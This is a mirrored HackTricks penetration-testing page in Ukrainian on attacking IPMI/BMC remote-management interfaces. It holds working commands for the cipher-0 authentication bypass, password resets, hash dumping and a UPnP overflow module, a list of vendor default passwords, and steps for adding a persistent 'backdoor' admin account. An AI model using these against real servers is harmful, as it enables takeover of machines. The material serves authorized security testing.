mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 16:10:54 +00:00
148 lines
14 KiB
Markdown
148 lines
14 KiB
Markdown
# 623/UDP/TCP - IPMI
|
||
|
||
## 623/UDP/TCP - IPMI
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## Основна інформація
|
||
|
||
### **Огляд IPMI**
|
||
|
||
**[Інтерфейс управління платформою (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** пропонує стандартизований підхід до віддаленого управління та моніторингу комп'ютерних систем, незалежно від операційної системи або стану живлення. Ця технологія дозволяє системним адміністраторам віддалено керувати системами, навіть коли вони вимкнені або не відповідають, і особливо корисна для:
|
||
|
||
- Конфігурацій перед завантаженням ОС
|
||
- Управління вимкненням
|
||
- Відновлення після збоїв системи
|
||
|
||
IPMI здатен моніторити температури, напруги, швидкості вентиляторів та блоки живлення, а також надавати інформацію про інвентаризацію, переглядати апаратні журнали та надсилати сповіщення через SNMP. Для його роботи необхідні джерело живлення та LAN-з'єднання.
|
||
|
||
З моменту свого впровадження компанією Intel у 1998 році, IPMI підтримується численними постачальниками, що покращує можливості віддаленого управління, особливо з підтримкою версії 2.0 для серійного з'єднання через LAN. Ключові компоненти включають:
|
||
|
||
- **Контролер управління материнською платою (BMC):** Основний мікроконтролер для операцій IPMI.
|
||
- **Комунікаційні шини та інтерфейси:** Для внутрішньої та зовнішньої комунікації, включаючи ICMB, IPMB та різні інтерфейси для локальних та мережевих з'єднань.
|
||
- **Пам'ять IPMI:** Для зберігання журналів та даних.
|
||
|
||
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||
|
||
**Порт за замовчуванням**: 623/UDP/TCP (Зазвичай працює на UDP, але також може працювати на TCP)
|
||
|
||
## Перерахування
|
||
|
||
### Виявлення
|
||
```bash
|
||
nmap -n -p 623 10.0.0./24
|
||
nmap -n-sU -p 623 10.0.0./24
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
```
|
||
Ви можете **виявити** **версію** за допомогою:
|
||
```bash
|
||
use auxiliary/scanner/ipmi/ipmi_version
|
||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||
```
|
||
### IPMI Вразливості
|
||
|
||
У сфері IPMI 2.0 значна вразливість була виявлена Даном Фармером, що відкриває вразливість через **cipher type 0**. Ця вразливість, детально задокументована в [дослідженні Дана Фармера](http://fish2.com/ipmi/cipherzero.html), дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему в усіх реалізаціях IPMI 2.0.
|
||
|
||
### **Обхід автентифікації IPMI через Cipher 0**
|
||
|
||
Щоб виявити цю вразливість, можна використовувати наступний допоміжний сканер Metasploit:
|
||
```bash
|
||
use auxiliary/scanner/ipmi/ipmi_cipher_zero
|
||
```
|
||
Експлуатація цього недоліку можлива за допомогою `ipmitool`, як показано нижче, що дозволяє переглядати та змінювати паролі користувачів:
|
||
```bash
|
||
apt-get install ipmitool # Installation command
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
|
||
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
|
||
```
|
||
### **IPMI 2.0 RAKP Аутентифікація Віддалене Отримання Хешів Паролів**
|
||
|
||
Ця вразливість дозволяє отримувати посолені хешовані паролі (MD5 та SHA1) для будь-якого існуючого імені користувача. Щоб протестувати цю вразливість, Metasploit пропонує модуль:
|
||
```bash
|
||
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
|
||
```
|
||
### **IPMI Анонімна Аутентифікація**
|
||
|
||
За замовчуванням у багатьох BMC дозволяється "анонімний" доступ, що характеризується порожніми рядками імені користувача та пароля. Цю конфігурацію можна використати для скидання паролів іменованих облікових записів користувачів за допомогою `ipmitool`:
|
||
```bash
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||
```
|
||
### **Supermicro IPMI Паролі у відкритому вигляді**
|
||
|
||
Критичний вибір дизайну в IPMI 2.0 вимагає зберігання паролів у відкритому вигляді в BMC для цілей аутентифікації. Зберігання цих паролів компанією Supermicro в таких місцях, як `/nv/PSBlock` або `/nv/PSStore`, викликає значні проблеми з безпекою:
|
||
```bash
|
||
cat /nv/PSBlock
|
||
```
|
||
### **Уразливість Supermicro IPMI UPnP**
|
||
|
||
Включення Supermicro прослуховувача UPnP SSDP у своєму прошивці IPMI, зокрема на UDP порту 1900, створює серйозний ризик безпеки. Уразливості в Intel SDK для UPnP Devices версії 1.3.1, як детально описано в [розкритті Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), дозволяють отримати доступ до BMC з правами root:
|
||
```bash
|
||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||
```
|
||
### Brute Force
|
||
|
||
**HP випадковим чином генерує стандартний пароль** для свого **Integrated Lights Out (iLO)** продукту під час виробництва. Ця практика контрастує з іншими виробниками, які зазвичай використовують **статичні стандартні облікові дані**. Підсумок стандартних імен користувачів та паролів для різних продуктів наведено нижче:
|
||
|
||
- **HP Integrated Lights Out (iLO)** використовує **фабрично випадкову 8-символьну строку** як свій стандартний пароль, демонструючи вищий рівень безпеки.
|
||
- Продукти, такі як **iDRAC від Dell, IMM від IBM** та **Інтегрований контролер віддаленого управління Fujitsu**, використовують легко вгадувані паролі, такі як "calvin", "PASSW0RD" (з нулем) та "admin" відповідно.
|
||
- Аналогічно, **Supermicro IPMI (2.0), Oracle/Sun ILOM** та **ASUS iKVM BMC** також використовують прості стандартні облікові дані, з "ADMIN", "changeme" та "admin" як їх паролі.
|
||
|
||
|
||
## Accessing the Host via BMC
|
||
|
||
Адміністративний доступ до Контролера управління материнською платою (BMC) відкриває різні шляхи для доступу до операційної системи хоста. Простий підхід полягає в експлуатації функціональності KVM BMC. Це можна зробити, перезавантаживши хост до кореневого оболонки через GRUB (використовуючи `init=/bin/sh`) або завантажившись з віртуального CD-ROM, налаштованого як диск відновлення. Такі методи дозволяють безпосередньо маніпулювати диском хоста, включаючи вставку бекдорів, витяг даних або будь-які необхідні дії для оцінки безпеки. Однак це вимагає перезавантаження хоста, що є значним недоліком. Без перезавантаження доступ до працюючого хоста є більш складним і варіюється в залежності від конфігурації хоста. Якщо фізична або серійна консолі хоста залишаються увійденими, їх можна легко захопити через функціональність KVM або serial-over-LAN (sol) BMC за допомогою `ipmitool`. Дослідження експлуатації спільних апаратних ресурсів, таких як шина i2c та Super I/O чип, є областю, що потребує подальшого вивчення.
|
||
|
||
## Introducing Backdoors into BMC from the Host
|
||
|
||
Після компрометації хоста, оснащеного BMC, **локальний інтерфейс BMC можна використовувати для вставки бекдор-облікового запису**, створюючи тривалу присутність на сервері. Ця атака вимагає наявності **`ipmitool`** на скомпрометованому хості та активації підтримки драйвера BMC. Наступні команди ілюструють, як новий обліковий запис користувача може бути вставлений у BMC, використовуючи локальний інтерфейс хоста, що обходить необхідність аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS.
|
||
```bash
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
|
||
ipmitool user set name 4 backdoor
|
||
ipmitool user set password 4 backdoor
|
||
ipmitool user priv 4 4
|
||
ipmitool user list
|
||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||
2 ADMIN true false false Unknown (0x00)
|
||
3 root true false false Unknown (0x00)
|
||
4 backdoor true false true ADMINISTRATOR
|
||
```
|
||
## Shodan
|
||
|
||
* `port:623`
|
||
|
||
## References
|
||
|
||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||
|
||
{% hint style="success" %}
|
||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Підтримайте HackTricks</summary>
|
||
|
||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||
|
||
</details>
|
||
{% endhint %}
|